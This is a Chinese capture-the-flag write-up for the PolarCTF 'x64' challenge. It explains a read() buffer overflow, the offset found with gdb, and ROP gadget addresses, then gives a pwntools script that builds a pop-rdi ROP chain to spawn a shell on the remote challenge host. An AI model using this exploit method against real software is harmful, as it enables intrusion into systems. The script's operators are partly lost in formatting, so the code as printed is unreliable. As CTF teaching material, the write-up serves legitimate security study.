【PolarCTF】x64
先检查下发现是64位的程序IDA分析程序这里很明显read函数存在溢出然后可以看到后面函数Shell同时也可以找到/bin/sh字符串这里我们可以通过IDA查找攻击思路如下填充垃圾数据 pop_rdi_ret将/bin/sh传递到rdi中 执行Shell函数 获得shellgdb调试程序将cyclic的字符输入到程序中然后我们可以通过x rbp或者info registers rbp可以看到堆底里面的内容通过计算可以看到距离rbp的距离为128十进制128转为十六进制可以看到就是0x80和IDA分析的结果是一样的因为还要覆盖返回地址因此填充0x80个字节0x8个字节除了上面的方法找Shell函数地址、/bin/sh字符地址还可以通过objdump查找shell函数地址通过ROPgadget 查找可以传递给rdi的pop_retpop_rdi_ret的地址为0x4007e3我们也可以使用ROPgadget来查找/bin/sh地址可以看到/bin/sh的地址为0x601060bin/sh的地址为0x601060pop_rdi_ret的地址为0x4007e3Shell函数的地址0x4006b6payload如下from pwn import * io remote(1.95.36.136,2065) system_addr 0x4006b6 sh_addr 0x601060 pop_rdi 0x4007e3 padding 0x800x8 payload bA*padding payload p64(pop_rdi) payload p64(sh_addr) payload p64(system_addr) io.sendline(payload) io.interactive()
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2534606.html
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!